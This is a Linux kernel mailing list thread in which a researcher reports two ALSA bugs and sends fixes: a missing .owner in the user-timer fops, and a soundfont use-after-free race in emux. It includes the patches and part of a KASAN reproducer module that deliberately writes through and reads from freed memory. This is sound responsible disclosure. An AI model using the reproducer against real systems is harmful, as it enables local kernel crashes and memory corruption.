Missing .owner = THIS_MODULE.
sound/core/timer.c:2298:
timer_fd = anon_inode_getfd(utimer->name, &snd_utimer_fops, utimer,
O_RDWR | O_CLOEXEC);
fs/anon_inodes.c:141-142:
if (fops->owner && !try_module_get(fops->owner))
return ERR_PTR(-ENOENT);
owner == NULL -> no module reference. utimer->timer->module =
THIS_MODULE (timer.c:2252) is only consulted by snd_timer_open(),
which the fd does not use; snd_timer_global_register() is just
list_add_tail() and does not take a module reference.
Upstream snd_utimer_fops has .owner = THIS_MODULE.
* Failure model
1. user ioctl SNDRV_TIMER_IOCTL_CREATE -> snd_utimer_create() ->
anon_inode_getfd() with the ownerless fops;
2. no other snd-timer user -> rmmod snd-timer succeeds;
3. user calls ioctl(SNDRV_TIMER_IOCTL_TRIGGER) or close(fd);
4. snd_utimer_ioctl()/snd_utimer_release() execute from the unloaded
module, and dereference utimer->timer / call snd_timer_interrupt().
This is a module-lifetime race, not a data race on a shared field; the
concurrency is rmmod vs fd operation.
* Trigger model
- CONFIG_SND_TIMER=m (module) and CONFIG_SND_UTIMER=y;
- a user creates a utimer fd via /dev/snd/timer;
- the module is unloaded before the fd is closed;
- the fd is used (trigger ioctl) or closed.
Requires local access to /dev/snd/timer; no hardware.
* Impact
- execution of unloaded module code: UAF execution, crash;
- if the module address range is reused, potential code execution;
- at minimum a local DoS / module-unload race.
* Suggested direction
Add .owner = THIS_MODULE to snd_utimer_fops. Also consider whether the
anon-inode path should hold an explicit module reference for clarity;
.owner is the standard fix and matches upstream.
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread* [PATCH] Re: sound: timer: snd_utimer_fops lacks .owner, so an open user timer fd does not pin snd-timer
2026-11-22 7:57 ` sound: timer: snd_utimer_fops lacks .owner, so an open user timer fd does not pin snd-timer 徐晗翔
@ 2026-11-25 12:48 ` 徐晗翔
2026-11-25 14:17 ` Takashi Iwai
0 siblings, 1 reply; 101+ messages in thread
From: 徐晗翔 @ 2026-11-25 12:48 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
snd_utimer_fops had no .owner, so the anonymous-inode fd created by
SNDRV_TIMER_IOCTL_CREATE did not hold a reference to the snd-timer
module: the module could be unloaded while the fd was open, and a
later SNDRV_TIMER_IOCTL_TRIGGER or close(fd) executed
snd_utimer_trigger()/snd_utimer_release() from unloaded module
text. (utimer->timer->module is only consulted by snd_timer_open(),
which the fd never goes through.)
Add .owner = THIS_MODULE so anon_inode_getfile() pins the module
for the lifetime of the fd, as upstream does.
---
sound/core/timer.c | 1 +
1 file changed, 1 insertion(+)
diff --git a/sound/core/timer.c b/sound/core/timer.c
--- a/sound/core/timer.c
+++ b/sound/core/timer.c
@@ -2173,6 +2173,7 @@
}
static const struct file_operations snd_utimer_fops = {
+ .owner = THIS_MODULE,
.llseek = noop_llseek,
.release = snd_utimer_release,
.unlocked_ioctl = snd_utimer_ioctl,
> -----原始邮件-----
> 发件人: 徐晗翔 <xuhx@hust.edu.cn>
> 发送时间:2026-11-22 15:57:29 (星期日)
> 收件人: perex@perex.cz, tiwai@suse.com
> 抄送: linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> 主题: sound: timer: snd_utimer_fops lacks .owner, so an open user timer fd does not pin snd-timer
>
> SNDRV_TIMER_IOCTL_CREATE creates a user-driven timer and returns an
> anonymous inode fd whose file_operations is snd_utimer_fops. That
> structure has no .owner = THIS_MODULE. anon_inode_getfile() only calls
> try_module_get(fops->owner) when owner is non-NULL, so the fd does not
> hold a reference to the snd-timer module. The module can be unloaded
> while the fd is still open; a later ioctl(SNDRV_TIMER_IOCTL_TRIGGER) or
> close(fd) calls snd_utimer_trigger()/snd_utimer_release() in unloaded
> module text.
>
> The module field does not save this path: utimer->timer->module is set
> to THIS_MODULE in snd_timer_new(), but try_module_get() is only called by
> snd_timer_open(), and a utimer fd never goes through snd_timer_open().
> snd_utimer_create() also calls snd_timer_new(NULL, ...), so with card ==
> NULL it does not go through snd_device_new(); snd_timer_global_register()
> (timer.c:1188-1194) only does the device-list insertion and takes no
> module reference.
>
> This is a static report: the missing .owner and the anon_inode lifetime
> are unambiguous, but I did not build a dynamic reproducer (it requires
> CONFIG_SND_TIMER=m together with CONFIG_SND_UTIMER=y).
>
> The detailed description:
>
> * Test environment / affected version
>
> Source analysis against mainline 7.3; no dynamic reproducer was run
> for this case.
>
> * Root cause
>
> sound/core/timer.c:2175-2179:
>
> static const struct file_operations snd_utimer_fops = {
> .llseek = noop_llseek,
> .release = snd_utimer_release,
> .unlocked_ioctl = snd_utimer_ioctl,
> };
>
> Missing .owner = THIS_MODULE.
>
> sound/core/timer.c:2298:
>
> timer_fd = anon_inode_getfd(utimer->name, &snd_utimer_fops, utimer,
> O_RDWR | O_CLOEXEC);
>
> fs/anon_inodes.c:141-142:
>
> if (fops->owner && !try_module_get(fops->owner))
> return ERR_PTR(-ENOENT);
>
> owner == NULL -> no module reference. utimer->timer->module =
> THIS_MODULE (timer.c:2252) is only consulted by snd_timer_open(),
> which the fd does not use; snd_timer_global_register() is just
> list_add_tail() and does not take a module reference.
>
> Upstream snd_utimer_fops has .owner = THIS_MODULE.
>
> * Failure model
>
> 1. user ioctl SNDRV_TIMER_IOCTL_CREATE -> snd_utimer_create() ->
> anon_inode_getfd() with the ownerless fops;
> 2. no other snd-timer user -> rmmod snd-timer succeeds;
> 3. user calls ioctl(SNDRV_TIMER_IOCTL_TRIGGER) or close(fd);
> 4. snd_utimer_ioctl()/snd_utimer_release() execute from the unloaded
> module, and dereference utimer->timer / call snd_timer_interrupt().
>
> This is a module-lifetime race, not a data race on a shared field; the
> concurrency is rmmod vs fd operation.
>
> * Trigger model
>
> - CONFIG_SND_TIMER=m (module) and CONFIG_SND_UTIMER=y;
> - a user creates a utimer fd via /dev/snd/timer;
> - the module is unloaded before the fd is closed;
> - the fd is used (trigger ioctl) or closed.
>
> Requires local access to /dev/snd/timer; no hardware.
>
> * Impact
>
> - execution of unloaded module code: UAF execution, crash;
> - if the module address range is reused, potential code execution;
> - at minimum a local DoS / module-unload race.
>
> * Suggested direction
>
> Add .owner = THIS_MODULE to snd_utimer_fops. Also consider whether the
> anon-inode path should hold an explicit module reference for clarity;
> .owner is the standard fix and matches upstream.
>
>
> Please keep me in Cc; I am not subscribed to the lists.
>
> Regards,
> Hanxiang Xu
> xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: [PATCH] Re: sound: timer: snd_utimer_fops lacks .owner, so an open user timer fd does not pin snd-timer
2026-11-25 12:48 ` [PATCH] " 徐晗翔
@ 2026-11-25 14:17 ` Takashi Iwai
0 siblings, 0 replies; 101+ messages in thread
From: Takashi Iwai @ 2026-11-25 14:17 UTC (permalink / raw)
To: 徐晗翔; +Cc: perex, tiwai, linux-sound, linux-kernel
On Wed, 25 Nov 2026 13:48:16 +0100,
徐晗翔 wrote:
>
> snd_utimer_fops had no .owner, so the anonymous-inode fd created by
> SNDRV_TIMER_IOCTL_CREATE did not hold a reference to the snd-timer
> module: the module could be unloaded while the fd was open, and a
> later SNDRV_TIMER_IOCTL_TRIGGER or close(fd) executed
> snd_utimer_trigger()/snd_utimer_release() from unloaded module
> text. (utimer->timer->module is only consulted by snd_timer_open(),
> which the fd never goes through.)
>
> Add .owner = THIS_MODULE so anon_inode_getfile() pins the module
> for the lifetime of the fd, as upstream does.
Already fixed by the upstream commit f9e882ac8257.
thanks,
Takashi
> ---
> sound/core/timer.c | 1 +
> 1 file changed, 1 insertion(+)
>
> diff --git a/sound/core/timer.c b/sound/core/timer.c
> --- a/sound/core/timer.c
> +++ b/sound/core/timer.c
> @@ -2173,6 +2173,7 @@
> }
>
> static const struct file_operations snd_utimer_fops = {
> + .owner = THIS_MODULE,
> .llseek = noop_llseek,
> .release = snd_utimer_release,
> .unlocked_ioctl = snd_utimer_ioctl,
>
>
> > -----原始邮件-----
> > 发件人: 徐晗翔 <xuhx@hust.edu.cn>
> > 发送时间:2026-11-22 15:57:29 (星期日)
> > 收件人: perex@perex.cz, tiwai@suse.com
> > 抄送: linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> > 主题: sound: timer: snd_utimer_fops lacks .owner, so an open user timer fd does not pin snd-timer
> >
> > SNDRV_TIMER_IOCTL_CREATE creates a user-driven timer and returns an
> > anonymous inode fd whose file_operations is snd_utimer_fops. That
> > structure has no .owner = THIS_MODULE. anon_inode_getfile() only calls
> > try_module_get(fops->owner) when owner is non-NULL, so the fd does not
> > hold a reference to the snd-timer module. The module can be unloaded
> > while the fd is still open; a later ioctl(SNDRV_TIMER_IOCTL_TRIGGER) or
> > close(fd) calls snd_utimer_trigger()/snd_utimer_release() in unloaded
> > module text.
> >
> > The module field does not save this path: utimer->timer->module is set
> > to THIS_MODULE in snd_timer_new(), but try_module_get() is only called by
> > snd_timer_open(), and a utimer fd never goes through snd_timer_open().
> > snd_utimer_create() also calls snd_timer_new(NULL, ...), so with card ==
> > NULL it does not go through snd_device_new(); snd_timer_global_register()
> > (timer.c:1188-1194) only does the device-list insertion and takes no
> > module reference.
> >
> > This is a static report: the missing .owner and the anon_inode lifetime
> > are unambiguous, but I did not build a dynamic reproducer (it requires
> > CONFIG_SND_TIMER=m together with CONFIG_SND_UTIMER=y).
> >
> > The detailed description:
> >
> > * Test environment / affected version
> >
> > Source analysis against mainline 7.3; no dynamic reproducer was run
> > for this case.
> >
> > * Root cause
> >
> > sound/core/timer.c:2175-2179:
> >
> > static const struct file_operations snd_utimer_fops = {
> > .llseek = noop_llseek,
> > .release = snd_utimer_release,
> > .unlocked_ioctl = snd_utimer_ioctl,
> > };
> >
> > Missing .owner = THIS_MODULE.
> >
> > sound/core/timer.c:2298:
> >
> > timer_fd = anon_inode_getfd(utimer->name, &snd_utimer_fops, utimer,
> > O_RDWR | O_CLOEXEC);
> >
> > fs/anon_inodes.c:141-142:
> >
> > if (fops->owner && !try_module_get(fops->owner))
> > return ERR_PTR(-ENOENT);
> >
> > owner == NULL -> no module reference. utimer->timer->module =
> > THIS_MODULE (timer.c:2252) is only consulted by snd_timer_open(),
> > which the fd does not use; snd_timer_global_register() is just
> > list_add_tail() and does not take a module reference.
> >
> > Upstream snd_utimer_fops has .owner = THIS_MODULE.
> >
> > * Failure model
> >
> > 1. user ioctl SNDRV_TIMER_IOCTL_CREATE -> snd_utimer_create() ->
> > anon_inode_getfd() with the ownerless fops;
> > 2. no other snd-timer user -> rmmod snd-timer succeeds;
> > 3. user calls ioctl(SNDRV_TIMER_IOCTL_TRIGGER) or close(fd);
> > 4. snd_utimer_ioctl()/snd_utimer_release() execute from the unloaded
> > module, and dereference utimer->timer / call snd_timer_interrupt().
> >
> > This is a module-lifetime race, not a data race on a shared field; the
> > concurrency is rmmod vs fd operation.
> >
> > * Trigger model
> >
> > - CONFIG_SND_TIMER=m (module) and CONFIG_SND_UTIMER=y;
> > - a user creates a utimer fd via /dev/snd/timer;
> > - the module is unloaded before the fd is closed;
> > - the fd is used (trigger ioctl) or closed.
> >
> > Requires local access to /dev/snd/timer; no hardware.
> >
> > * Impact
> >
> > - execution of unloaded module code: UAF execution, crash;
> > - if the module address range is reused, potential code execution;
> > - at minimum a local DoS / module-unload race.
> >
> > * Suggested direction
> >
> > Add .owner = THIS_MODULE to snd_utimer_fops. Also consider whether the
> > anon-inode path should hold an explicit module reference for clarity;
> > .owner is the standard fix and matches upstream.
> >
> >
> > Please keep me in Cc; I am not subscribed to the lists.
> >
> > Regards,
> > Hanxiang Xu
> > xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread
* [PATCH 0/2] ALSA: emux: fix use-after-free of soundfont zones/samples between snd_emux_note_on() and soundfont removal paths (UAF)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (13 preceding siblings ...)
2026-11-22 7:57 ` sound: timer: snd_utimer_fops lacks .owner, so an open user timer fd does not pin snd-timer 徐晗翔
@ 2026-12-01 3:22 ` 徐晗翔
2026-12-01 6:37 ` Takashi Iwai
2026-12-01 11:56 ` 徐晗翔
2026-12-01 3:23 ` [PATCH] ALSA: emux: drain open hwdep users before freeing the emux structures(UAF) 徐晗翔
` (26 subsequent siblings)
41 siblings, 2 replies; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 3:22 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
[-- Attachment #1: Type: text/plain, Size: 15234 bytes --]
snd_emux_note_on() obtains raw struct snd_sf_zone pointers from
snd_soundfont_search_zone(), which drops sflist->lock on return, and
then consumes them (exclusive-class read, sample/block chaining, a
92-byte register copy) with no lock, no reference count and no RCU
protection, while four user-reachable soundfont removal paths
(hwdep SNDRV_EMUX_IOCTL_REMOVE_LAST_SAMPLES / RESET_SAMPLES /
LOAD_PATCH(REMOVE_INFO) and OSS SNDCTL_SEQ_RESETSAMPLES) kfree() the
very same zones, samples and util-mem blocks under a disjoint mutex.
The two sides share no lock domain (presets_mutex vs voice_lock), and
the emu10k1 backend additionally keeps already-playing voices pointed
at freed blocks because emu10k1_ops has no .sample_reset callback.
Verified on mainline 7.3 with a KASAN kernel and the real in-tree
snd-emux-synth module driven through its exported API (harness
attached): an uninstrumented natural hammer (userspace soundfont
load/unload loop through the real hwdep ioctl path vs kernel note_on
loop) produced 133 slab-use-after-free reports in 25s across four
distinct read points inside snd_emux_note_on(), with a closed
alloc/free/use chain (alloc = sf_zone_new <- load_info <-
snd_soundfont_load <- snd_emux_hwdep_ioctl <- real userspace ioctl;
free = kfree <- snd_soundfont_remove_unlocked; use = snd_emux_note_on
+0x225/0x75f/0x772/0x7ab). A controlled one-shot that parks note_on
inside its window reproduces deterministically (6 reports). The
in-flight window needs no privileges beyond access to the sound
devices; consequences are kernel memory corruption (UAF reads plus a
UAF write through the block pointer) and crashes.
The detailed description:
* Test environment / affected version
Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP
PREEMPT_DYNAMIC -- vanilla mainline 7.3 tree, unmodified sources;
KASAN enabled, QEMU/KVM x86_64 guest. The audited files
(sound/synth/emux/*, sound/synth/util_mem.c,
sound/pci/emu10k1/emu10k1_callback.c) are byte-identical between the
tested tree and the report baseline. The bug predates 7.3 by many
years (the emux split-probe model and the unlocked search are
essentially unchanged since the 2.6 emux import); line numbers below
are from 7.3.
* Mechanism
Two user-reachable contexts share soundfont objects with no common
lock:
- playback (sequencer event delivery -> snd_emux_note_on(),
emux_synth.c:46-137): get_zone() -> snd_soundfont_search_zone()
fills a stack array table[] with raw struct snd_sf_zone
pointers and drops sflist->lock on return
(soundfont.c:1241-1251). The exclusive-class read at
emux_synth.c:70 happens outside any lock; the sample/block
chaining (emux_synth.c:100-104), the 92-byte register copy in
setup_voice() (emux_synth.c:532) and the backend prepare()
(which dereferences vp->block, emu10k1: emem->map_locked++ in
start_voice(), emu10k1_callback.c:330) all run under
emu->voice_lock only.
- removal (hwdep/OSS ioctls -> snd_soundfont_remove_unlocked() /
snd_soundfont_remove_samples() / remove_info(), and
snd_sf_free()): these take sflist->presets_mutex and set
sflist->presets_locked = 1, which only gates *new* searches
(soundfont.c:1241-1243) -- it never waits out searches that
already returned -- and then kfree() the zones
(soundfont.c:1468/1371/457), the samples via callback.sample_free
-> __snd_util_mem_free() -> kfree(blk) (util_mem.c:137-143) and
the samples themselves (soundfont.c:1479/1377).
presets_mutex and voice_lock are disjoint: nothing in note_on takes
presets_mutex, and nothing in the removal paths takes voice_lock
(on emu10k1 the removal callback .sample_reset is missing entirely,
emu10k1_callback.c:51-63 -- so removals do not even terminate
playing voices, leaving vp->zone/vp->block dangling for the
lifetime of the voice and turning every later note_off / voice
recycle into a use of freed memory).
Consequences observed with KASAN: UAF reads at four points in
snd_emux_note_on (exclusive-class read outside any lock; the
zone->sample->block chain; the setup_voice() register copy), a UAF
read/write through the freed struct snd_util_memblk in the backend
prepare/terminate hooks, and cascade effects: snd_emu10k1_memblk_map()
walking a freed block's list nodes and programming the card page
table from garbage fields.
* Trigger model
emu10k1 or emu8000 hardware with the synth sub-driver probed
(emu10k1: seq_ports > 0, the default is 4). One process loads a
soundfont through the hwdep device (the standard sfxload sequence),
another delivers note-on events to the emux sequencer port, a third
issues REMOVE_LAST_SAMPLES / RESET_SAMPLES ioctls. None of these
need privileges beyond access to /dev/snd/*. Consequence: kernel
memory corruption and crashes (DoS at minimum; the freed-object
writes and the parameter copy that feeds hardware register
computation are corruption primitives).
* Reproducer and results on 7.3
synthrace.c is a self-contained harness module: it creates a virtual
snd_card and registers the REAL in-tree emux (snd_emux_new /
snd_emux_register with a backend ops vector that mirrors
emu10k1_callback.c, including the missing .sample_reset), then
hammers the real snd_emux_note_on() and snd_soundfont_remove_unlocked()
(resolved via kprobes, as they are not exported) from two kthreads
while a userspace loader (synth_test.c) loads/reloads a real
soundfont through the real hwdep ioctl path (OPEN_PATCH, LOAD_DATA,
LOAD_INFO, CLOSE_PATCH -- the sfxload sequence). No kernel source
modification; needs CONFIG_SND=y, CONFIG_SND_SEQUENCER=y,
CONFIG_SND_HWDEP=y, CONFIG_SND_PROC_FS=y, CONFIG_KPROBES=y and the
snd-emux-synth module (built by enabling CONFIG_SND_SYNTH_EMUX=m
plus its deps; a config fragment is included in the reproducer
README).
Results (7.3, KASAN, 2 vCPU, 25s run):
- natural, no artificial delays: 133 slab-use-after-free reports
(samples in evidence/), all with the closed chain above;
- controlled one-shot (note_on parked mid-window, removal runs
underneath, release): 6 reports, deterministic;
- an identical harness run with the soundfont removal disabled
(sanity plan) stays clean, so the reports are attributable to
the audited race and not to the harness.
* Fix
Two small patches:
1/2: emu10k1: register .sample_reset (terminate playing voices
before their blocks/samples are freed). This is what
snd_emu8000_sample_reset() already does for the emu8000
backend, and it removes the long-lived dangling vp->zone /
vp->block face entirely.
2/2: emux: make the removal paths wait out the in-flight note_on
window. note_on publishes the window with an atomic counter
from the moment the search returned until it finished consuming
table[]; every freeing path that can release zones/samples
(remove_unlocked, remove_samples, remove_info, snd_sf_free and
the error-path sf_sample_delete) takes the preset lock first
(which blocks new searches) and then waits for the counter to
drain before freeing. The window never takes presets_mutex, so
there is no lock inversion; all waiters are process context.
The patches are a suggested direction, written against 7.3 and
reviewed by inspection; they have not been runtime-validated
(the reported reproduction used the unpatched kernel). Happy to
test any counter-proposal.
* Patch
[PATCH 1/2] ALSA: emu10k1: terminate playing voices when soundfonts
are removed
Without a .sample_reset callback the emu10k1 backend never terminates
voices when soundfont samples/zones are removed through the hwdep or
OSS interfaces, so voices that are playing keep pointers into the
freed struct snd_sf_zone / snd_sf_sample / snd_util_memblk and every
later voice recycle, note-off or terminate dereferences freed memory.
The emu8000 backend already does exactly this
(snd_emu8000_sample_reset() -> snd_emux_terminate_all()).
--- a/sound/pci/emu10k1/emu10k1_callback.c
+++ b/sound/pci/emu10k1/emu10k1_callback.c
@@ -44,6 +44,11 @@ struct best_voice {
#define LIMITVALUE(x, a, b) do { if ((x) < (a)) (x) = (a); else if ((x) > (b)) (x) = (b); } while (0)
#define LIMITMAX(x, a) do {if ((x) > (a)) (x) = (a); } while (0)
+static void sample_reset(struct snd_emux *emu)
+{
+ snd_emux_terminate_all(emu);
+}
+
/*
* set up operators
@@ -57,6 +62,7 @@ static const struct snd_emux_operators emu10k1_ops = {
.terminate = terminate_voice,
.free_voice = free_voice,
.sample_new = snd_emu10k1_sample_new,
.sample_free = snd_emu10k1_sample_free,
+ .sample_reset = sample_reset,
.get_pitch_shift = get_pitch_shift,
};
--
2.47.1
[PATCH 2/2] ALSA: emux: wait out in-flight note_on before freeing
soundfont objects
snd_emux_note_on() keeps raw struct snd_sf_zone pointers on its stack
from the moment snd_soundfont_search_zone() returns (sflist->lock
dropped) until the voice configuration finished, but every soundfont
removal path can kfree() those zones, the referenced samples and the
util-mem blocks concurrently: the presets_locked flag only gates new
searches, and the removal mutex (presets_mutex) is disjoint from the
locks note_on takes. This yields immediate UAF reads in note_on
(exclusive-class, sample/block chain, register copy), UAF access
through vp->block in the backend prepare/terminate hooks, and
snd_emu10k1_memblk_map() operating on a freed block.
Publish the window with an atomic counter and let the freeing paths
wait for it to drain after taking the preset lock (which already
blocks new searches). The window never takes presets_mutex, so there
is no inversion; all users of the wait are process context (hwdep/OSS
ioctl, driver removal).
--- a/include/sound/soundfont.h
+++ b/include/sound/soundfont.h
@@ -81,6 +81,8 @@ struct snd_sf_list {
int presets_locked;
struct mutex presets_mutex;
spinlock_t lock;
struct snd_util_memhdr *memhdr;
+ atomic_t zone_users; /* in-flight note_on zone windows */
+ wait_queue_head_t zone_users_wait;
};
/* Prototypes for soundfont.c */
@@ -114,6 +116,21 @@ int snd_sf_linear_to_log(unsigned int amount, int offset, int ratio);
/* lock access to sflist */
static inline void snd_soundfont_lock_preset(struct snd_sf_list *sflist)
{
mutex_lock(&sflist->presets_mutex);
guard(spinlock_irqsave)(&sflist->lock);
sflist->presets_locked = 1;
}
+
+/* note_on: mark the window between the zone search and the last use of
+ * the returned raw pointers; soundfont removal paths wait for it */
+static inline void snd_soundfont_enter_zone_window(struct snd_sf_list *sflist)
+{
+ atomic_inc(&sflist->zone_users);
+}
+
+static inline void snd_soundfont_leave_zone_window(struct snd_sf_list *sflist)
+{
+ if (atomic_dec_and_test(&sflist->zone_users))
+ wake_up(&sflist->zone_users_wait);
+}
/* remove lock */
static inline void snd_soundfont_unlock_preset(struct snd_sf_list *sflist)
--- a/sound/synth/emux/soundfont.c
+++ b/sound/synth/emux/soundfont.c
@@ -440,6 +440,8 @@ static int sf_sample_delete(struct snd_sf_list *sflist,
static int
remove_info(struct snd_sf_list *sflist, struct snd_soundfont *sf,
int bank, int instr)
{
struct snd_sf_zone *prev, *next, *p;
int removed = 0;
+ /* wait out note_on windows that already hold our zones */
+ snd_soundfont_wait_zone_users(sflist);
+
prev = NULL;
for (p = sf->zones; p; p = next) {
@@ -250,17 +262,22 @@ static void sf_sample_delete(struct snd_sf_list *sflist,
/*
* delete sample list -- this is an exceptional job.
* only the last allocated sample can be deleted.
*/
static void
sf_sample_delete(struct snd_sf_list *sflist,
struct snd_soundfont *sf, struct snd_sf_sample *sp)
{
/* only last sample is accepted */
+ snd_soundfont_wait_zone_users(sflist);
if (sp == sf->samples) {
if (sp->v.sf_id != sf->id) {
@@ (wait helper, placed before snd_sf_free)
+static void snd_soundfont_wait_zone_users(struct snd_sf_list *sflist)
+{
+ wait_event(sflist->zone_users_wait,
+ !atomic_read(&sflist->zone_users));
+}
+
/*
* Initialise the sflist structure.
*/
static void
snd_sf_init(struct snd_sf_list *sflist)
@@ -1394,6 +1421,9 @@ struct snd_sf_list *
snd_sf_new(struct snd_sf_callback *callback, struct snd_util_memhdr *hdr)
{
struct snd_sf_list *sflist;
sflist = kzalloc_obj(*sflist);
if (!sflist)
return NULL;
mutex_init(&sflist->presets_mutex);
spin_lock_init(&sflist->lock);
+ atomic_set(&sflist->zone_users, 0);
+ init_waitqueue_head(&sflist->zone_users_wait);
sflist->memhdr = hdr;
if (callback)
@@ -1412,6 +1442,8 @@ int
snd_sf_free(struct snd_sf_list *sflist)
{
if (sflist == NULL)
return 0;
scoped_guard(snd_soundfont_lock_preset, sflist) {
+ snd_soundfont_wait_zone_users(sflist);
if (sflist->callback.sample_reset)
sflist->callback.sample_reset(sflist->callback.private_data);
snd_sf_clear(sflist);
@@ -1432,6 +1466,8 @@ int
snd_soundfont_remove_samples(struct snd_sf_list *sflist)
{
guard(snd_soundfont_lock_preset)(sflist);
+ snd_soundfont_wait_zone_users(sflist);
if (sflist->callback.sample_reset)
sflist->callback.sample_reset(sflist->callback.private_data);
snd_sf_clear(sflist);
@@ -1446,6 +1482,8 @@ int
snd_soundfont_remove_unlocked(struct snd_sf_list *sflist)
{
struct snd_soundfont *sf;
struct snd_sf_zone *zp, *nextzp;
struct snd_sf_sample *sp, *nextsp;
guard(snd_soundfont_lock_preset)(sflist);
+ snd_soundfont_wait_zone_users(sflist);
if (sflist->callback.sample_reset)
sflist->callback.sample_reset(sflist->callback.private_data);
--- a/sound/synth/emux/emux_synth.c
+++ b/sound/synth/emux/emux_synth.c
@@ -62,6 +62,10 @@ void
snd_emux_note_on(void *p, int note, int vel, struct snd_midi_channel *chan)
emu = port->emu;
if (snd_BUG_ON(!emu || !emu->ops.get_voice || !emu->ops.trigger))
return;
key = note; /* remember the original note */
nvoices = get_zone(emu, port, ¬e, vel, chan, table);
if (! nvoices)
return;
+ /* publish the zone window: soundfont removal paths wait for it
+ * before freeing zones/samples/blocks that table[] points at */
+ snd_soundfont_enter_zone_window(emu->sflist);
/* exclusive note off */
for (i = 0; i < nvoices; i++) {
@@ -134,6 +142,8 @@ void
#ifdef SNDRV_EMUX_USE_RAW_EFFECT
if (port->port_mode == SNDRV_EMUX_PORT_MODE_OSS_SYNTH) {
/* clear voice position for the next note on this channel */
struct snd_emux_effect_table *fx = chan->private;
if (fx) {
fx->flag[EMUX_FX_SAMPLE_START] = 0;
fx->flag[EMUX_FX_COARSE_SAMPLE_START] = 0;
}
}
#endif
+
+ snd_soundfont_leave_zone_window(emu->sflist);
}
--
2.47.1
* Suggested direction
The attached two-patch series. Patch 1/2 closes the long-lived
dangling-voice face (the practically dominant one in our dynamic
testing); patch 2/2 closes the in-flight table[] window. A full RCU
conversion of the soundfont object lifetimes would be a larger
rework and is not required to close the reported corruption.
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
[-- Attachment #2: synthrace.c --]
[-- Type: text/plain, Size: 14562 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* synthrace.c - dynamic verification harness for the emux wavetable audit
* cases SYNTH-MR-01 / SYNTH-MR-03 / SYNTH-MR-04
* (docs/manual-review-sound-synth-2026-11-26.md).
*
* It drives the REAL in-tree emux code (snd-emux-synth.ko: emux.c,
* emux_synth.c, soundfont.c, emux_hwdep.c, emux_proc.c, emux_seq.c) through
* its exported API with a fake backend ("hw"), replicating exactly the
* snd_emu10k1_synth_probe()/snd_emu10k1_synth_remove() usage shape:
*
* snd_emux_new() -> ops_setup -> fields -> snd_emux_register()
* snd_emux_free() (sub-driver remove body)
*
* No kernel source is modified; the audited code paths are the byte-identical
* in-tree modules (diff vs race/linux verified zero).
*
* Plans (module params, write "1" to trigger):
* mr01nat - SYNTH-MR-01 natural hammering: kernel kthread loops
* snd_emux_note_on() on the real emux port while another kernel
* kthread loops the REAL snd_soundfont_remove_unlocked() /
* snd_soundfont_remove_samples() (the hwdep ioctl bodies).
* The soundfont itself is loaded from userspace through the real
* hwdep SNDRV_EMUX_IOCTL_LOAD_PATCH path (synth_test load-loop).
* mr01ctl - SYNTH-MR-01 controlled window: kprobe post_handler on
* snd_soundfont_search_zone stalls the note_on thread right at
* the start of its unprotected table[] window; one
* snd_soundfont_remove_unlocked() runs and frees zone/sample/
* block underneath; release -> cascaded UAF.
* free - SYNTH-MR-03/MR-04 trigger: snd_emux_free() with an open,
* hammering hwdep fd (mr03) or proc reader (mr04) on the other
* side. This is the exact snd_emu10k1_synth_remove() body.
*/
#define pr_fmt(fmt) "SYNTHRACE: " fmt
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/kprobes.h>
#include <linux/kthread.h>
#include <linux/delay.h>
#include <linux/completion.h>
#include <linux/device.h>
#include <sound/core.h>
#include <sound/emux_synth.h>
#include <sound/util_mem.h>
#include <sound/asoundef.h>
static struct device *parent;
static struct snd_card *card;
static struct snd_emux *emu;
/* ---- fake backend ops (same contract as emu10k1_callback.c) ---- */
static atomic_t mr01_armed = ATOMIC_INIT(0);
static atomic_t mr01_stalled = ATOMIC_INIT(0);
static struct snd_emux_voice *sr_get_voice(struct snd_emux *e,
struct snd_emux_port *port)
{
int i;
/*
* mr01ctl controlled window: parked mid note_on, AFTER table[] was
* filled by snd_soundfont_search_zone() and INSIDE the voice_lock
* configuration section, i.e. exactly inside the audited
* "search returned -> last table[]/vp->zone/vp->block use" span
* (emux_synth.c:63-114). Removing zone/sample/block underneath and
* then resuming replays the SYNTH-MR-01 interleaving end-to-end.
*/
if (atomic_read(&mr01_armed) && !atomic_xchg(&mr01_stalled, 1)) {
unsigned long deadline = jiffies + msecs_to_jiffies(20000);
pr_info("mr01ctl: note_on parked mid-configuration "
"(table[] window open)\n");
while (atomic_read(&mr01_armed) &&
time_before(jiffies, deadline))
cpu_relax();
pr_info("mr01ctl: note_on resuming\n");
}
for (i = 0; i < e->max_voices; i++) {
struct snd_emux_voice *vp = &e->voices[i];
if (vp->ch < 0) {
vp->ch = i;
e->num_voices++;
return vp;
}
}
/* recycle voice 0 so the hammering never starves */
if (e->max_voices > 0) {
e->voices[0].ch = 0;
return &e->voices[0];
}
return NULL;
}
/*
* MR-01 UAF write point analog: emu10k1 start_voice() does
* emem->map_locked++ on the block handed down through vp->block; we touch
* the block the same way (read+write through the freed snd_util_memblk).
*/
static int mr01_note = 60;
static int mr01_vel = 100;
static atomic_t sr_start_calls = ATOMIC_INIT(0);
static int sr_start_voice(struct snd_emux_voice *vp)
{
struct snd_util_memblk *b = vp->block;
atomic_inc(&sr_start_calls);
if (b)
b->offset++; /* UAF write on freed memblk */
return 0;
}
static void sr_trigger(struct snd_emux_voice *vp) {}
static void sr_release(struct snd_emux_voice *vp) {}
static void sr_update(struct snd_emux_voice *vp, int update) {}
/* emu10k1 terminate_voice() reads vp->block (emem->map_locked--): analog */
static void sr_terminate(struct snd_emux_voice *vp)
{
struct snd_util_memblk *b = vp->block;
if (b) {
unsigned int t = b->size; /* UAF read on freed memblk */
(void)t;
}
}
